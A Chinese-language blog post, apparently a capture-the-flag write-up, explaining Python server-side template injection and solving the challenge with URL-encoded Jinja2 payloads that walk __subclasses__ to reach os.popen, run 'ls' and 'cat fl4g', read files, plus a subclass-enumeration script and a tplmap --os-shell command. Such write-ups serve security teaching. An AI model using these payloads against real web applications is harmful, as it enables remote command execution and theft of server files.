banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban

SSTI漏洞初探

起因#

xctf上做题遇到的

0x00 SSTI 漏洞简介#

SSTI:Server-Side Template Injection

服务器端模板注入,属于格式化字符串漏洞之一。

注入就是格式化字符串漏洞的一种体现

不管是二进制还是web,很多的漏洞都能归结为格式化字符串漏洞

sql注入就是格式化字符串漏洞的最好代表,在本不该执行sql语句的地方执行了sql语句。

xss的部分代码闭合注入也属于这种方式。

什么是模板注入呢?

html代码的时候,为了方便,很多网站都会使用模板,先写好一个html文件

当开发者想要这个模板对应的样式时,可以直接用render_template_string方法来调用模板

从而直接把这个样式渲染出来,而模板注入,就是指将一串指令代替变量传入模板让它执行

0x01writeup#

首先我们来建立一个简单的测试url:

xxx.xxx.xxx.xxx:yyyyy/{{7*7}}

image

可以看到7*7这条指令被执行了

题目说的是python template injection,说明服务器端脚本是python

那我们需要知道python中的类内方法:

  • class : 返回对象所属的类
  • mro : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
  • base : 返回该类所继承的基类
  • basemro都是用来寻找基类的
  • subclasses : 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • init : 类的初始化方法
  • globals : 对包含函数全局变量的字典的引用

首先我们查看所有模块:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

image

这里模块很多,为了后续我们方便使用模块,这里我写了一个小脚本,把对应的序号列出来:

import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
    print(i, type_list[i])

效果如下:

image

这里可以使用catch_warnings模块的.__init__.func_globals.keys()linecache函数来调用os模块

xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

image

也可以使用osprinter函数来使用os.popen函数执行命令行语句

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

image

然后继续使用os.popen执行cat fl4g命令显示fl4g文件内容:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

或者直接使用os模块的listdir方法来寻找flag文件:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D

image

然后使用file方法来读取fl4g:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D

最后读取内容如下:

image

本题也可以使用服务端模板注入工具tplmap

使用python2环境,指定url加上--os-shell参数直接获得目标主机shell:

python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell

image

本文完。

参考文章:

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。